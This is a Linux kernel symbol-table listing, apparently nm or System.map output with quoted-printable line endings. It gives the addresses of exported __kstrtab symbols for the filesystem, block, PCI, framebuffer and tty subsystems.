103182e8 r __kstrtab_mnt_unpin=0A=
103182f4 r __kstrtab_mnt_pin=0A=
103182fc r __kstrtab_mntput_no_expire=0A=
10318310 r __kstrtab_wait_on_sync_kiocb=0A=
10318324 r __kstrtab_aio_put_req=0A=
10318330 r __kstrtab_aio_complete=0A=
10318340 r __kstrtab_kick_iocb=0A=
1031834c r __kstrtab_seq_puts=0A=
10318358 r __kstrtab_seq_putc=0A=
10318364 r __kstrtab_seq_release_private=0A=
10318378 r __kstrtab_single_release=0A=
10318388 r __kstrtab_single_open=0A=
10318394 r __kstrtab_seq_path=0A=
103183a0 r __kstrtab_seq_printf=0A=
103183ac r __kstrtab_seq_escape=0A=
103183b8 r __kstrtab_seq_release=0A=
103183c4 r __kstrtab_seq_lseek=0A=
103183d0 r __kstrtab_seq_read=0A=
103183dc r __kstrtab_seq_open=0A=
103183e8 r __kstrtab_generic_removexattr=0A=
103183fc r __kstrtab_generic_setxattr=0A=
10318410 r __kstrtab_generic_listxattr=0A=
10318424 r __kstrtab_generic_getxattr=0A=
10318438 r __kstrtab_simple_attr_write=0A=
1031844c r __kstrtab_simple_attr_read=0A=
10318460 r __kstrtab_simple_attr_close=0A=
10318474 r __kstrtab_simple_attr_open=0A=
10318488 r __kstrtab_simple_transaction_release=0A=
103184a4 r __kstrtab_simple_transaction_read=0A=
103184bc r __kstrtab_simple_transaction_get=0A=
103184d4 r __kstrtab_simple_read_from_buffer=0A=
103184ec r __kstrtab_simple_unlink=0A=
103184fc r __kstrtab_simple_sync_file=0A=
10318510 r __kstrtab_simple_statfs=0A=
10318520 r __kstrtab_simple_rmdir=0A=
10318530 r __kstrtab_simple_rename=0A=
10318540 r __kstrtab_simple_release_fs=0A=
10318554 r __kstrtab_simple_readpage=0A=
10318564 r __kstrtab_simple_prepare_write=0A=
1031857c r __kstrtab_simple_pin_fs=0A=
1031858c r __kstrtab_simple_lookup=0A=
1031859c r __kstrtab_simple_link=0A=
103185a8 r __kstrtab_simple_getattr=0A=
103185b8 r __kstrtab_simple_fill_super=0A=
103185cc r __kstrtab_d_alloc_name=0A=
103185dc r __kstrtab_simple_empty=0A=
103185ec r __kstrtab_simple_dir_operations=0A=
10318604 r __kstrtab_simple_dir_inode_operations=0A=
10318620 r __kstrtab_simple_commit_write=0A=
10318634 r __kstrtab_get_sb_pseudo=0A=
10318644 r __kstrtab_generic_read_dir=0A=
10318658 r __kstrtab_dcache_readdir=0A=
10318668 r __kstrtab_dcache_dir_open=0A=
10318678 r __kstrtab_dcache_dir_lseek=0A=
1031868c r __kstrtab_dcache_dir_close=0A=
103186a0 r __kstrtab_generic_osync_inode=0A=
103186b4 r __kstrtab_sync_inode=0A=
103186c0 r __kstrtab_write_inode_now=0A=
103186d0 r __kstrtab___mark_inode_dirty=0A=
103186e4 r __kstrtab_mpage_writepage=0A=
103186f4 r __kstrtab_mpage_writepages=0A=
10318708 r __kstrtab_mpage_readpage=0A=
10318718 r __kstrtab_mpage_readpages=0A=
10318728 r __kstrtab___blockdev_direct_IO=0A=
10318740 r __kstrtab_inotify_inode_is_dead=0A=
10318758 r __kstrtab_inotify_unmount_inodes=0A=
10318770 r __kstrtab_inotify_get_cookie=0A=
10318784 r __kstrtab_inotify_dentry_parent_queue_event=0A=
103187a8 r __kstrtab_inotify_inode_queue_event=0A=
103187c4 r __kstrtab_posix_acl_permission=0A=
103187dc r __kstrtab_posix_acl_chmod_masq=0A=
103187f4 r __kstrtab_posix_acl_create_masq=0A=
1031880c r __kstrtab_posix_acl_from_mode=0A=
10318820 r __kstrtab_posix_acl_equiv_mode=0A=
10318838 r __kstrtab_posix_acl_valid=0A=
10318848 r __kstrtab_posix_acl_clone=0A=
10318858 r __kstrtab_posix_acl_alloc=0A=
10318868 r __kstrtab_posix_acl_to_xattr=0A=
1031887c r __kstrtab_posix_acl_from_xattr=0A=
10318894 r __kstrtab_dnotify_parent=0A=
103188a4 r __kstrtab___inode_dir_notify=0A=
103188b8 r __kstrtab_proc_root_driver=0A=
103188cc r __kstrtab_proc_bus=0A=
103188d8 r __kstrtab_proc_net_stat=0A=
103188e8 r __kstrtab_proc_net=0A=
103188f4 r __kstrtab_proc_root_fs=0A=
10318904 r __kstrtab_proc_root=0A=
10318910 r __kstrtab_remove_proc_entry=0A=
10318924 r __kstrtab_create_proc_entry=0A=
10318938 r __kstrtab_proc_mkdir=0A=
10318944 r __kstrtab_proc_symlink=0A=
10318954 r __kstrtab_read_dev_sector=0A=
10318964 r __kstrtab___bdevname=0A=
10318970 r __kstrtab_bdevname=0A=
1031897c r __kstrtab_sysfs_update_file=0A=
10318990 r __kstrtab_sysfs_remove_file=0A=
103189a4 r __kstrtab_sysfs_create_file=0A=
103189b8 r __kstrtab_sysfs_chmod_file=0A=
103189cc r __kstrtab_sysfs_rename_dir=0A=
103189e0 r __kstrtab_sysfs_remove_dir=0A=
103189f4 r __kstrtab_sysfs_create_dir=0A=
10318a08 r __kstrtab_sysfs_remove_link=0A=
10318a1c r __kstrtab_sysfs_create_link=0A=
10318a30 r __kstrtab_sysfs_remove_bin_file=0A=
10318a48 r __kstrtab_sysfs_create_bin_file=0A=
10318a60 r __kstrtab_sysfs_remove_group=0A=
10318a74 r __kstrtab_sysfs_create_group=0A=
10318a88 r __kstrtab_journal_force_commit=0A=
10318aa0 r __kstrtab_journal_try_to_free_buffers=0A=
10318abc r __kstrtab_journal_invalidatepage=0A=
10318ad4 r __kstrtab_journal_blocks_per_page=0A=
10318aec r __kstrtab_journal_wipe=0A=
10318afc r __kstrtab_journal_force_commit_nested=0A=
10318b18 r __kstrtab_journal_start_commit=0A=
10318b30 r __kstrtab_log_wait_commit=0A=
10318b40 r __kstrtab_journal_clear_err=0A=
10318b54 r __kstrtab_journal_ack_err=0A=
10318b64 r __kstrtab_journal_errno=0A=
10318b74 r __kstrtab_journal_abort=0A=
10318b84 r __kstrtab_journal_update_superblock=0A=
10318ba0 r __kstrtab_journal_destroy=0A=
10318bb0 r __kstrtab_journal_load=0A=
10318bc0 r __kstrtab_journal_create=0A=
10318bd0 r __kstrtab_journal_set_features=0A=
10318be8 r __kstrtab_journal_check_available_features=0A=
10318c0c r __kstrtab_journal_check_used_features=0A=
10318c28 r __kstrtab_journal_update_format=0A=
10318c40 r __kstrtab_journal_init_inode=0A=
10318c54 r __kstrtab_journal_init_dev=0A=
10318c68 r __kstrtab_journal_revoke=0A=
10318c78 r __kstrtab_journal_flush=0A=
10318c88 r __kstrtab_journal_forget=0A=
10318c98 r __kstrtab_journal_release_buffer=0A=
10318cb0 r __kstrtab_journal_dirty_metadata=0A=
10318cc8 r __kstrtab_journal_dirty_data=0A=
10318cdc r __kstrtab_journal_get_undo_access=0A=
10318cf4 r __kstrtab_journal_get_create_access=0A=
10318d10 r __kstrtab_journal_get_write_access=0A=
10318d2c r __kstrtab_journal_unlock_updates=0A=
10318d44 r __kstrtab_journal_lock_updates=0A=
10318d5c r __kstrtab_journal_stop=0A=
10318d6c r __kstrtab_journal_extend=0A=
10318d7c r __kstrtab_journal_restart=0A=
10318d8c r __kstrtab_journal_start=0A=
10318d9c r __kstrtab_utf8_wcstombs=0A=
10318dac r __kstrtab_utf8_wctomb=0A=
10318db8 r __kstrtab_utf8_mbstowcs=0A=
10318dc8 r __kstrtab_utf8_mbtowc=0A=
10318dd4 r __kstrtab_load_nls_default=0A=
10318de8 r __kstrtab_load_nls=0A=
10318df4 r __kstrtab_unload_nls=0A=
10318e00 r __kstrtab_unregister_nls=0A=
10318e10 r __kstrtab_register_nls=0A=
10318e20 r __kstrtab_cap_vm_enough_memory=0A=
10318e38 r __kstrtab_cap_syslog=0A=
10318e44 r __kstrtab_cap_task_reparent_to_init=0A=
10318e60 r __kstrtab_cap_task_post_setuid=0A=
10318e78 r __kstrtab_cap_inode_removexattr=0A=
10318e90 r __kstrtab_cap_inode_setxattr=0A=
10318ea4 r __kstrtab_cap_bprm_secureexec=0A=
10318eb8 r __kstrtab_cap_bprm_apply_creds=0A=
10318ed0 r __kstrtab_cap_bprm_set_security=0A=
10318ee8 r __kstrtab_cap_capset_set=0A=
10318ef8 r __kstrtab_cap_capset_check=0A=
10318f0c r __kstrtab_cap_capget=0A=
10318f18 r __kstrtab_cap_ptrace=0A=
10318f24 r __kstrtab_cap_settime=0A=
10318f30 r __kstrtab_cap_capable=0A=
10318f3c r __kstrtab_cap_netlink_recv=0A=
10318f50 r __kstrtab_cap_netlink_send=0A=
10318f64 r __kstrtab_crypto_alg_available=0A=
10318f7c r __kstrtab_crypto_free_tfm=0A=
10318f8c r __kstrtab_crypto_alloc_tfm=0A=
10318fa0 r __kstrtab_crypto_unregister_alg=0A=
10318fb8 r __kstrtab_crypto_register_alg=0A=
10318fcc r __kstrtab_crypto_hmac=0A=
10318fd8 r __kstrtab_crypto_hmac_final=0A=
10318fec r __kstrtab_crypto_hmac_update=0A=
10319000 r __kstrtab_crypto_hmac_init=0A=
10319014 r __kstrtab_elevator_init=0A=
10319024 r __kstrtab_elevator_exit=0A=
10319034 r __kstrtab_elv_completed_request=0A=
1031904c r __kstrtab_elv_queue_empty=0A=
1031905c r __kstrtab_elv_dequeue_request=0A=
10319070 r __kstrtab_elv_next_request=0A=
10319084 r __kstrtab_elv_requeue_request=0A=
10319098 r __kstrtab___elv_add_request=0A=
103190ac r __kstrtab_elv_add_request=0A=
103190bc r __kstrtab_elv_dispatch_sort=0A=
103190d0 r __kstrtab_elv_unregister=0A=
103190e0 r __kstrtab_elv_register=0A=
103190f0 r __kstrtab_elv_try_merge=0A=
10319100 r __kstrtab_elv_rq_merge_ok=0A=
10319110 r __kstrtab_swap_io_context=0A=
10319120 r __kstrtab_copy_io_context=0A=
10319130 r __kstrtab_get_io_context=0A=
10319140 r __kstrtab_current_io_context=0A=
10319154 r __kstrtab_put_io_context=0A=
10319164 r __kstrtab_kblockd_flush=0A=
10319174 r __kstrtab_kblockd_schedule_work=0A=
1031918c r __kstrtab_blk_rq_bio_prep=0A=
1031919c r __kstrtab_end_request=0A=
103191a8 r __kstrtab_end_that_request_last=0A=
103191c0 r __kstrtab_end_that_request_chunk=0A=
103191d8 r __kstrtab_end_that_request_first=0A=
103191f0 r __kstrtab_submit_bio=0A=
103191fc r __kstrtab_generic_make_request=0A=
10319214 r __kstrtab_blk_attempt_remerge=0A=
10319228 r __kstrtab_blk_congestion_wait=0A=
1031923c r __kstrtab_blk_end_sync_rq=0A=
1031924c r __kstrtab_blk_put_request=0A=
1031925c r __kstrtab_blkdev_issue_flush=0A=
10319270 r __kstrtab_blk_execute_rq=0A=
10319280 r __kstrtab_blk_rq_map_kern=0A=
10319290 r __kstrtab_blk_rq_unmap_user=0A=
103192a4 r __kstrtab_blk_rq_map_user_iov=0A=
103192b8 r __kstrtab_blk_rq_map_user=0A=
103192c8 r __kstrtab_blk_insert_request=0A=
103192dc r __kstrtab_blk_requeue_request=0A=
103192f0 r __kstrtab_blk_get_request=0A=
10319300 r __kstrtab_blk_get_queue=0A=
10319310 r __kstrtab_blk_init_queue_node=0A=
10319324 r __kstrtab_blk_init_queue=0A=
10319334 r __kstrtab_blk_alloc_queue_node=0A=
1031934c r __kstrtab_blk_alloc_queue=0A=
1031935c r __kstrtab_blk_cleanup_queue=0A=
10319370 r __kstrtab_blk_run_queue=0A=
10319380 r __kstrtab_blk_sync_queue=0A=
10319390 r __kstrtab_blk_stop_queue=0A=
103193a0 r __kstrtab_blk_start_queue=0A=
103193b0 r __kstrtab_generic_unplug_device=0A=
103193c8 r __kstrtab___generic_unplug_device=0A=
103193e0 r __kstrtab_blk_remove_plug=0A=
103193f0 r __kstrtab_blk_plug_device=0A=
10319400 r __kstrtab_blk_rq_map_sg=0A=
10319410 r __kstrtab_blk_dump_rq_flags=0A=
10319424 r __kstrtab_blk_queue_invalidate_tags=0A=
10319440 r __kstrtab_blk_queue_start_tag=0A=
10319454 r __kstrtab_blk_queue_end_tag=0A=
10319468 r __kstrtab_blk_queue_resize_tags=0A=
10319480 r __kstrtab_blk_queue_init_tags=0A=
10319494 r __kstrtab_blk_queue_free_tags=0A=
103194a8 r __kstrtab_blk_queue_find_tag=0A=
103194bc r __kstrtab_blk_queue_dma_alignment=0A=
103194d4 r __kstrtab_blk_queue_segment_boundary=0A=
103194f0 r __kstrtab_blk_queue_stack_limits=0A=
10319508 r __kstrtab_blk_queue_hardsect_size=0A=
10319520 r __kstrtab_blk_queue_max_segment_size=0A=
1031953c r __kstrtab_blk_queue_max_hw_segments=0A=
10319558 r __kstrtab_blk_queue_max_phys_segments=0A=
10319574 r __kstrtab_blk_queue_max_sectors=0A=
1031958c r __kstrtab_blk_queue_bounce_limit=0A=
103195a4 r __kstrtab_blk_complete_barrier_rq_locked=0A=
103195c4 r __kstrtab_blk_complete_barrier_rq=0A=
103195dc r __kstrtab_blk_queue_issue_flush_fn=0A=
103195f8 r __kstrtab_blk_queue_ordered=0A=
1031960c r __kstrtab_blk_queue_make_request=0A=
10319624 r __kstrtab_blk_queue_merge_bvec=0A=
1031963c r __kstrtab_blk_queue_prep_rq=0A=
10319650 r __kstrtab_blk_queue_activity_fn=0A=
10319668 r __kstrtab_blk_get_backing_dev_info=0A=
10319684 r __kstrtab_blk_max_pfn=0A=
10319690 r __kstrtab_blk_max_low_pfn=0A=
103196a0 r __kstrtab_blkdev_ioctl=0A=
103196b0 r __kstrtab_invalidate_partition=0A=
103196c8 r __kstrtab_bdev_read_only=0A=
103196d8 r __kstrtab_set_disk_ro=0A=
103196e4 r __kstrtab_set_device_ro=0A=
103196f4 r __kstrtab_put_disk=0A=
10319700 r __kstrtab_get_disk=0A=
1031970c r __kstrtab_alloc_disk_node=0A=
1031971c r __kstrtab_alloc_disk=0A=
10319728 r __kstrtab_del_gendisk=0A=
10319734 r __kstrtab_add_disk=0A=
10319740 r __kstrtab_blk_unregister_region=0A=
10319758 r __kstrtab_blk_register_region=0A=
1031976c r __kstrtab_unregister_blkdev=0A=
10319780 r __kstrtab_register_blkdev=0A=
10319790 r __kstrtab_scsi_cmd_ioctl=0A=
103197a0 r __kstrtab_scsi_command_size=0A=
103197b4 r __kstrtab_bitmap_allocate_region=0A=
103197cc r __kstrtab_bitmap_release_region=0A=
103197e4 r __kstrtab_bitmap_find_free_region=0A=
103197fc r __kstrtab_bitmap_bitremap=0A=
1031980c r __kstrtab_bitmap_remap=0A=
1031981c r __kstrtab_bitmap_parselist=0A=
10319830 r __kstrtab_bitmap_scnlistprintf=0A=
10319848 r __kstrtab_bitmap_parse=0A=
10319858 r __kstrtab_bitmap_scnprintf=0A=
1031986c r __kstrtab___bitmap_weight=0A=
1031987c r __kstrtab___bitmap_subset=0A=
1031988c r __kstrtab___bitmap_intersects=0A=
103198a0 r __kstrtab___bitmap_andnot=0A=
103198b0 r __kstrtab___bitmap_xor=0A=
103198c0 r __kstrtab___bitmap_or=0A=
103198cc r __kstrtab___bitmap_and=0A=
103198dc r __kstrtab___bitmap_shift_left=0A=
103198f0 r __kstrtab___bitmap_shift_right=0A=
10319908 r __kstrtab___bitmap_complement=0A=
1031991c r __kstrtab___bitmap_equal=0A=
1031992c r __kstrtab___bitmap_full=0A=
1031993c r __kstrtab___bitmap_empty=0A=
1031994c r __kstrtab_get_options=0A=
10319958 r __kstrtab_get_option=0A=
10319964 r __kstrtab_memparse=0A=
10319970 r __kstrtab__ctype=0A=
10319978 r __kstrtab__atomic_dec_and_lock=0A=
10319990 r __kstrtab___div64_32=0A=
1031999c r __kstrtab_idr_init=0A=
103199a8 r __kstrtab_idr_find=0A=
103199b4 r __kstrtab_idr_destroy=0A=
103199c0 r __kstrtab_idr_remove=0A=
103199cc r __kstrtab_idr_get_new=0A=
103199d8 r __kstrtab_idr_get_new_above=0A=
103199ec r __kstrtab_idr_pre_get=0A=
103199f8 r __kstrtab_int_sqrt=0A=
10319a04 r __kstrtab_subsys_remove_file=0A=
10319a18 r __kstrtab_subsys_create_file=0A=
10319a2c r __kstrtab_subsystem_unregister=0A=
10319a44 r __kstrtab_subsystem_register=0A=
10319a58 r __kstrtab_subsystem_init=0A=
10319a68 r __kstrtab_kset_find_obj=0A=
10319a78 r __kstrtab_kset_unregister=0A=
10319a88 r __kstrtab_kset_register=0A=
10319a98 r __kstrtab_kobject_del=0A=
10319aa4 r __kstrtab_kobject_add=0A=
10319ab0 r __kstrtab_kobject_put=0A=
10319abc r __kstrtab_kobject_get=0A=
10319ac8 r __kstrtab_kobject_unregister=0A=
10319adc r __kstrtab_kobject_register=0A=
10319af0 r __kstrtab_kobject_init=0A=
10319b00 r __kstrtab_kobject_set_name=0A=
10319b14 r __kstrtab_add_hotplug_env_var=0A=
10319b28 r __kstrtab_kobject_hotplug=0A=
10319b38 r __kstrtab_kobject_uevent_atomic=0A=
10319b50 r __kstrtab_kobject_uevent=0A=
10319b60 r __kstrtab_kref_put=0A=
10319b6c r __kstrtab_kref_get=0A=
10319b78 r __kstrtab_kref_init=0A=
10319b84 r __kstrtab_radix_tree_tagged=0A=
10319b98 r __kstrtab_radix_tree_delete=0A=
10319bac r __kstrtab_radix_tree_gang_lookup_tag=0A=
10319bc8 r __kstrtab_radix_tree_gang_lookup=0A=
10319be0 r __kstrtab_radix_tree_tag_clear=0A=
10319bf8 r __kstrtab_radix_tree_tag_set=0A=
10319c0c r __kstrtab_radix_tree_lookup=0A=
10319c20 r __kstrtab_radix_tree_lookup_slot=0A=
10319c38 r __kstrtab_radix_tree_insert=0A=
10319c4c r __kstrtab_rb_replace_node=0A=
10319c5c r __kstrtab_rb_prev=0A=
10319c64 r __kstrtab_rb_next=0A=
10319c6c r __kstrtab_rb_last=0A=
10319c74 r __kstrtab_rb_first=0A=
10319c80 r __kstrtab_rb_erase=0A=
10319c8c r __kstrtab_rb_insert_color=0A=
10319c9c r __kstrtab___downgrade_write=0A=
10319cb0 r __kstrtab___up_write=0A=
10319cbc r __kstrtab___up_read=0A=
10319cc8 r __kstrtab___down_write_trylock=0A=
10319ce0 r __kstrtab___down_write=0A=
10319cf0 r __kstrtab___down_read_trylock=0A=
10319d04 r __kstrtab___down_read=0A=
10319d10 r __kstrtab_init_rwsem=0A=
10319d1c r __kstrtab_memchr=0A=
10319d24 r __kstrtab_strstr=0A=
10319d2c r __kstrtab_memscan=0A=
10319d34 r __kstrtab_memcmp=0A=
10319d3c r __kstrtab_memmove=0A=
10319d44 r __kstrtab_strsep=0A=
10319d4c r __kstrtab_strpbrk=0A=
10319d54 r __kstrtab_strcspn=0A=
10319d5c r __kstrtab_strspn=0A=
10319d64 r __kstrtab_strnlen=0A=
10319d6c r __kstrtab_strlen=0A=
10319d74 r __kstrtab_strnchr=0A=
10319d7c r __kstrtab_strrchr=0A=
10319d84 r __kstrtab_strchr=0A=
10319d8c r __kstrtab_strncmp=0A=
10319d94 r __kstrtab_strcmp=0A=
10319d9c r __kstrtab_strlcat=0A=
10319da4 r __kstrtab_strncat=0A=
10319dac r __kstrtab_strcat=0A=
10319db4 r __kstrtab_strlcpy=0A=
10319dbc r __kstrtab_strncpy=0A=
10319dc4 r __kstrtab_strcpy=0A=
10319dcc r __kstrtab_strnicmp=0A=
10319dd8 r __kstrtab_sscanf=0A=
10319de0 r __kstrtab_vsscanf=0A=
10319de8 r __kstrtab_sprintf=0A=
10319df0 r __kstrtab_vsprintf=0A=
10319dfc r __kstrtab_scnprintf=0A=
10319e08 r __kstrtab_snprintf=0A=
10319e14 r __kstrtab_vscnprintf=0A=
10319e20 r __kstrtab_vsnprintf=0A=
10319e2c r __kstrtab_simple_strtoull=0A=
10319e3c r __kstrtab_simple_strtol=0A=
10319e4c r __kstrtab_simple_strtoul=0A=
10319e5c r __kstrtab_outsl=0A=
10319e64 r __kstrtab_outsw=0A=
10319e6c r __kstrtab_outsb=0A=
10319e74 r __kstrtab_insl=0A=
10319e7c r __kstrtab_insw=0A=
10319e84 r __kstrtab_insb=0A=
10319e8c r __kstrtab_memcpy=0A=
10319e94 r __kstrtab_copy_in_user=0A=
10319ea4 r __kstrtab_copy_from_user=0A=
10319eb4 r __kstrtab_copy_to_user=0A=
10319ec4 r __kstrtab_sort=0A=
10319ecc r __kstrtab_match_strdup=0A=
10319edc r __kstrtab_match_strcpy=0A=
10319eec r __kstrtab_match_hex=0A=
10319ef8 r __kstrtab_match_octal=0A=
10319f04 r __kstrtab_match_int=0A=
10319f10 r __kstrtab_match_token=0A=
10319f1c r __kstrtab_half_md4_transform=0A=
10319f30 r __kstrtab_bitreverse=0A=
10319f3c r __kstrtab_crc32_be=0A=
10319f48 r __kstrtab_crc32_le=0A=
10319f54 r __kstrtab_crc32c_be=0A=
10319f60 r __kstrtab_crc32c_le=0A=
10319f6c r __kstrtab_pci_iounmap=0A=
10319f78 r __kstrtab_pci_iomap=0A=
10319f84 r __kstrtab_ioport_unmap=0A=
10319f94 r __kstrtab_ioport_map=0A=
10319fa0 r __kstrtab_iowrite32_rep=0A=
10319fb0 r __kstrtab_iowrite16_rep=0A=
10319fc0 r __kstrtab_iowrite8_rep=0A=
10319fd0 r __kstrtab_ioread32_rep=0A=
10319fe0 r __kstrtab_ioread16_rep=0A=
10319ff0 r __kstrtab_ioread8_rep=0A=
10319ffc r __kstrtab_iowrite32be=0A=
1031a008 r __kstrtab_iowrite32=0A=
1031a014 r __kstrtab_iowrite16be=0A=
1031a020 r __kstrtab_iowrite16=0A=
1031a02c r __kstrtab_iowrite8=0A=
1031a038 r __kstrtab_ioread32be=0A=
1031a044 r __kstrtab_ioread32=0A=
1031a050 r __kstrtab_ioread16be=0A=
1031a05c r __kstrtab_ioread16=0A=
1031a068 r __kstrtab_ioread8=0A=
1031a070 r __kstrtab_pci_unblock_user_cfg_access=0A=
1031a08c r __kstrtab_pci_block_user_cfg_access=0A=
1031a0a8 r __kstrtab_pci_bus_write_config_dword=0A=
1031a0c4 r __kstrtab_pci_bus_write_config_word=0A=
1031a0e0 r __kstrtab_pci_bus_write_config_byte=0A=
1031a0fc r __kstrtab_pci_bus_read_config_dword=0A=
1031a118 r __kstrtab_pci_bus_read_config_word=0A=
1031a134 r __kstrtab_pci_bus_read_config_byte=0A=
1031a150 r __kstrtab_pci_enable_bridges=0A=
1031a164 r __kstrtab_pci_bus_add_devices=0A=
1031a178 r __kstrtab_pci_bus_add_device=0A=
1031a18c r __kstrtab_pci_bus_alloc_resource=0A=
1031a1a4 r __kstrtab_pci_walk_bus=0A=
1031a1b4 r __kstrtab_pci_scan_child_bus=0A=
1031a1c8 r __kstrtab_pci_scan_single_device=0A=
1031a1e0 r __kstrtab_pci_scan_bridge=0A=
1031a1f0 r __kstrtab_pci_scan_slot=0A=
1031a200 r __kstrtab_pci_do_scan_bus=0A=
1031a210 r __kstrtab_pci_add_new_bus=0A=
1031a220 r __kstrtab_pci_scan_bus_parented=0A=
1031a238 r __kstrtab_pci_create_bus=0A=
1031a248 r __kstrtab_pci_root_buses=0A=
1031a258 r __kstrtab_pci_remove_behind_bridge=0A=
1031a274 r __kstrtab_pci_remove_bus_device=0A=
1031a28c r __kstrtab_pci_remove_bus=0A=
1031a29c r __kstrtab_pci_remove_device_safe=0A=
1031a2b4 r __kstrtab_pci_pci_problems=0A=
1031a2c8 r __kstrtab_isa_dma_bridge_buggy=0A=
1031a2e0 r __kstrtab_pci_enable_wake=0A=
1031a2f0 r __kstrtab_pci_restore_state=0A=
1031a304 r __kstrtab_pci_save_state=0A=
1031a314 r __kstrtab_pci_set_power_state=0A=
1031a328 r __kstrtab_pci_find_parent_resource=0A=
1031a344 r __kstrtab_pci_assign_resource=0A=
1031a358 r __kstrtab_pci_set_consistent_dma_mask=0A=
1031a374 r __kstrtab_pci_set_dma_mask=0A=
1031a388 r __kstrtab_pci_intx=0A=
1031a394 r __kstrtab_pci_clear_mwi=0A=
1031a3a4 r __kstrtab_pci_set_mwi=0A=
1031a3b0 r __kstrtab_pci_set_master=0A=
1031a3c0 r __kstrtab_pci_request_region=0A=
1031a3d4 r __kstrtab_pci_release_region=0A=
1031a3e8 r __kstrtab_pci_request_regions=0A=
1031a3fc r __kstrtab_pci_release_regions=0A=
1031a410 r __kstrtab_pci_bus_find_capability=0A=
1031a428 r __kstrtab_pci_find_capability=0A=
1031a43c r __kstrtab_pci_bus_max_busnr=0A=
1031a450 r __kstrtab_pci_max_busnr=0A=
1031a460 r __kstrtab_pci_disable_device=0A=
1031a474 r __kstrtab_pci_enable_device=0A=
1031a488 r __kstrtab_pci_enable_device_bars=0A=
1031a4a0 r __kstrtab_pci_restore_bars=0A=
1031a4b4 r __kstrtab_pci_choose_state=0A=
1031a4c8 r __kstrtab_pci_find_next_capability=0A=
1031a4e4 r __kstrtab_pci_fixup_device=0A=
1031a4f8 r __kstrtab_pcie_mch_quirk=0A=
1031a508 r __kstrtab_pci_dev_put=0A=
1031a514 r __kstrtab_pci_dev_get=0A=
1031a520 r __kstrtab_pci_bus_type=0A=
1031a530 r __kstrtab_pci_dev_driver=0A=
1031a540 r __kstrtab_pci_unregister_driver=0A=
1031a558 r __kstrtab___pci_register_driver=0A=
1031a570 r __kstrtab_pci_match_device=0A=
1031a584 r __kstrtab_pci_match_id=0A=
1031a594 r __kstrtab_pci_get_class=0A=
1031a5a4 r __kstrtab_pci_get_slot=0A=
1031a5b4 r __kstrtab_pci_get_subsys=0A=
1031a5c4 r __kstrtab_pci_get_device=0A=
1031a5d4 r __kstrtab_pci_find_slot=0A=
1031a5e4 r __kstrtab_pci_find_device_reverse=0A=
1031a5fc r __kstrtab_pci_find_device=0A=
1031a60c r __kstrtab_pci_find_next_bus=0A=
1031a620 r __kstrtab_pci_find_bus=0A=
1031a630 r __kstrtab_pci_dev_present=0A=
1031a640 r __kstrtab_pci_remove_rom=0A=
1031a650 r __kstrtab_pci_unmap_rom=0A=
1031a660 r __kstrtab_pci_map_rom_copy=0A=
1031a674 r __kstrtab_pci_map_rom=0A=
1031a680 r __kstrtab_pci_proc_detach_bus=0A=
1031a694 r __kstrtab_pci_proc_attach_bus=0A=
1031a6a8 r __kstrtab_pci_proc_attach_device=0A=
1031a6c0 r __kstrtab_pci_bus_assign_resources=0A=
1031a6dc r __kstrtab_pci_bus_size_bridges=0A=
1031a6f4 r __kstrtab_pci_setup_cardbus=0A=
1031a708 r __kstrtab_gsc_claim_irq=0A=
1031a718 r __kstrtab_gsc_alloc_irq=0A=
1031a728 r __kstrtab_sti_get_rom=0A=
1031a734 r __kstrtab_get_default_font=0A=
1031a748 r __kstrtab_find_font=0A=
1031a754 r __kstrtab_fbcon_set_bitops=0A=
1031a768 r __kstrtab_soft_cursor=0A=
1031a774 r __kstrtab_fb_new_modelist=0A=
1031a784 r __kstrtab_fb_get_options=0A=
1031a794 r __kstrtab_fb_unregister_client=0A=
1031a7ac r __kstrtab_fb_register_client=0A=
1031a7c0 r __kstrtab_fb_set_suspend=0A=
1031a7d0 r __kstrtab_fb_get_buffer_offset=0A=
1031a7e8 r __kstrtab_fb_pan_display=0A=
1031a7f8 r __kstrtab_fb_blank=0A=
1031a804 r __kstrtab_fb_set_var=0A=
1031a810 r __kstrtab_fb_show_logo=0A=
1031a820 r __kstrtab_fb_prepare_logo=0A=
1031a830 r __kstrtab_registered_fb=0A=
1031a840 r __kstrtab_num_registered_fb=0A=
1031a854 r __kstrtab_unregister_framebuffer=0A=
1031a86c r __kstrtab_register_framebuffer=0A=
1031a884 r __kstrtab_fb_con_duit=0A=
1031a890 r __kstrtab_fb_pad_unaligned_buffer=0A=
1031a8a8 r __kstrtab_fb_pad_aligned_buffer=0A=
1031a8c0 r __kstrtab_fb_get_color_depth=0A=
1031a8d4 r __kstrtab_fb_destroy_modedb=0A=
1031a8e8 r __kstrtab_fb_validate_mode=0A=
1031a8fc r __kstrtab_fb_get_mode=0A=
1031a908 r __kstrtab_fb_firmware_edid=0A=
1031a91c r __kstrtab_fb_edid_to_monspecs=0A=
1031a930 r __kstrtab_fb_parse_edid=0A=
1031a940 r __kstrtab_fb_invert_cmaps=0A=
1031a950 r __kstrtab_fb_default_cmap=0A=
1031a960 r __kstrtab_fb_set_cmap=0A=
1031a96c r __kstrtab_fb_copy_cmap=0A=
1031a97c r __kstrtab_fb_dealloc_cmap=0A=
1031a98c r __kstrtab_fb_alloc_cmap=0A=
1031a99c r __kstrtab_framebuffer_release=0A=
1031a9b0 r __kstrtab_framebuffer_alloc=0A=
1031a9c4 r __kstrtab_fb_find_mode=0A=
1031a9d4 r __kstrtab_fb_videomode_to_modelist=0A=
1031a9f0 r __kstrtab_fb_find_nearest_mode=0A=
1031aa08 r __kstrtab_fb_find_best_mode=0A=
1031aa1c r __kstrtab_fb_match_mode=0A=
1031aa2c r __kstrtab_fb_destroy_modelist=0A=
1031aa40 r __kstrtab_fb_delete_videomode=0A=
1031aa54 r __kstrtab_fb_add_videomode=0A=
1031aa68 r __kstrtab_fb_mode_is_equal=0A=
1031aa7c r __kstrtab_fb_var_to_videomode=0A=
1031aa90 r __kstrtab_fb_videomode_to_var=0A=
1031aaa4 r __kstrtab_fb_find_best_display=0A=
1031aabc r __kstrtab_fb_find_mode_cvt=0A=
1031aad0 r __kstrtab_cfb_fillrect=0A=
1031aae0 r __kstrtab_cfb_copyarea=0A=
1031aaf0 r __kstrtab_cfb_imageblit=0A=
1031ab00 r __kstrtab_secure_tcp_sequence_number=0A=
1031ab1c r __kstrtab_generate_random_uuid=0A=
1031ab34 r __kstrtab_get_random_bytes=0A=
1031ab48 r __kstrtab_add_disk_randomness=0A=
1031ab5c r __kstrtab_tty_unregister_driver=0A=
1031ab74 r __kstrtab_tty_register_driver=0A=
1031ab88 r __kstrtab_tty_set_operations=0A=
1031ab9c r __kstrtab_put_tty_driver=0A=
1031abac r __kstrtab_alloc_tty_driver=0A=
